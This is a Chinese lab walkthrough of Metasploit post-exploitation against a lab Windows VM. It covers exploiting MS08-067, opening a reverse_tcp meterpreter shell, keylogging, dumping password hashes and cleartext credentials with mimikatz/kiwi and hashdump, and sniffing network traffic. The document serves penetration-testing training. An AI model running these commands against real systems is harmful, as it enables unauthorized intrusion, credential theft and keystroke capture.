赞
踩
使用meterpreter模块进行后渗透测试
第一步,打开网络拓扑,点击启动选项,启动实验虚拟机
第二步,使用ifconfig和ipconfig命令分别获取渗透机和靶机的IP地址,使用ping命令进行网络连通性测试,确保网络可达
渗透机ip地址172.16.1.40
靶机ip地址172.16.1.20
第三步,常见的后渗透模块的类型有:
reverse_tcp (路径:payload/windows/meterpreter/reverse_tcp)
由于绕过 UAC 的功能需在 meterpreter 的shell 才能实现。因此,我们首先要做的就是取得目标机器的 meterpreter shell 。下面使用命令msfconsole -q 以静默状态进行metasploit渗透测试平台,并配置ms08_067攻击载荷的参数(详细步骤请参考课件ms08_067漏洞利用)
使用命令msfconsole启动metasploit渗透测试平台
第四步:使用命令use exploit/windows/smb/ms08_067_netapi调用针对windows 2003/xp的渗透攻击模块,然后使用命令show options 查看需要配置的参数
第五步,使用info windows/meterpreter/reverse_tcp命令来查看攻击载荷模块的具体信息,该模块适用于Windows x86平台不需要admin权限便可以运行,大小为281字节,需要配置三个参数分别为退出的方式、监听的地址、监听的端口号、EXITFUNC
注意:
EXITFUNC有4个不同的值:none,seh,thread和process。通常它被设置为线程或进程,它对应于ExitThread或ExitProcess调用。 “none”参数将调用GetLastError,实际上是无操作,线程然后将继续执行,允许您简单地将多个有效负载一起串行运行。
Seh:当存在结构化异常处理程序(SEH),且触发该SEH将自动重启线程或进程时,应使用此方法。
THREAD:此方法用于大多数场景,其中被利用的进程(例如IE)在子线程中运行shellcode并退出此线程会导致正在工作的应用程序/系统(清除退出)。
PROCESS:此方法应与multi/handler这个利用模块一起使用。此方法也应该与任何主进程在退出时会重新启动的漏洞一起使用。
选择reverse_tcp反弹连接模块,设置模块回连地址和端口,并设置远程靶机地址,
参数设置完成后使用命令exploit对目标靶机进行溢出攻击
我们看到了熟悉的meterpreter界面,反向连接shell,使用起来比较稳定,但是需要设置LHOST
另外还有bind_tcp(路径:payload/windows/meterpreter/bind_tcp)
属于正向连接shell,因为某些内网环境中,由于跨了网段无法连接到渗透机上,所以在内网中经常会被使用,不需要设置LHOST,设置方法与reverse_tcp相同就不做演示
reverse_http/https(路径:payload/windows/meterpreter/reverse_http/https)
通过http/https的方式反向连接,在网速比较慢情况下不稳定
第六步,使用命令help查看meterpreter的帮助参数
常用参数有:
Background:将当前会话置于后台运行
Load/use:加载模块
Interact:切换到一个信道
Migrate:迁移进程
Run:执行选择的模块(常用:autoroute,hashdump,arp_scanner,multi_meter_inject等)
Resource:执行一个外部的rc脚本
常用扩展库有:
Meterpreter中不仅有基本命令还有很多扩展库,load/use之后再输入help,就可以看到关于这个模块的命令说明
第七步,stdapi command文件相关的命令模块,常用的操作就是文件操作及网络有关的命令。通常我们使用upload和download进行文件上传和下载,注意在meterpreter中也可以切换目录,当然也可以编辑文件,而不用再通过shell打开命令终端再用echo来写
cd:切换目标目录;
cat:读取文件内容;
del:删除文件;
edit:使用vim编辑文件
ls:获取当前目录下的文件;
mkdir:新建目录;
rmdir:删除目录;
使用命令edit boot.ini调用vi编辑器对当前已存在的文件进行编辑
第八步,使用命令ps可查看运行进程pid
然后使用命令migrate将进程迁移至关键进程
再然后使用命令keyscan_start对键盘进行监听,使用命令keyscan_dump保存截获的键盘信息(注:windows会话窗口的概念,windows桌面划分为不同的会话(session),以便于与windows交互。会话0代表控制台,1,2代表远程桌面。所以要截获键盘输入必须在0中进行。)
第九步,使用命令load kiwi调用mimikatz第三方工具抓取内存中的hash存进数据库方便之后调用
键入help查看工具的帮助命令
使用命令creds_wdigest抓取已登录的管理员密码
第十步,使用命令load sniffer加载嗅探插件对目标网络实施嗅探抓包,然后使用命令sniffer_interfaces查看目标系统中的网卡信息,
使用命令sniffer_start 1 可对指定网卡进行抓包嗅探
然后使用命令sniffer_dump 1 pac.cap将抓取的包保存为cap文件
第十一步,另开一个新窗口下使用命令msfconsole进入metasploit渗透测试平台的终端,然后使用命令use auxiliary/sniffer/psnuffle调用sniffer解包模块
由于靶机没有做任何操作,所以看到此处无法抓取到任何信息,在实际的渗透测试工作中,只有在得到能够接入对方网络的初始访问点之后,才能够方便地使用Metasploit中的psnuffle模块进行口令嗅探。如果条件允许的话,推荐在接入网络整个过程中都要保持嗅探器的运行,以增加截获口令的可能性。
第十二步,在对登录认证信息,已经网络流量进行收集结束以后,我们可以使用命令background将当前的会话置于后台,然后通过其他扩展模块来收集更多信息,
第十三步,使用命令use post/windows/gather/hashdump调用用户认证信息收集模块,获取目标系统上的hash值
第十四步,使用命令sessions -i 1将后台运行的会话置于前台
使用命令run post/windows/gather/forensics/enum_drives后渗透攻击模块,列出目标靶机上的磁盘分区表信息
由于在对目标靶机的磁盘进行读写时发生错误,可以看到最后提示会话断开,我们重新利用ms08_067打入靶机系统
实验结束,关闭虚拟机。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。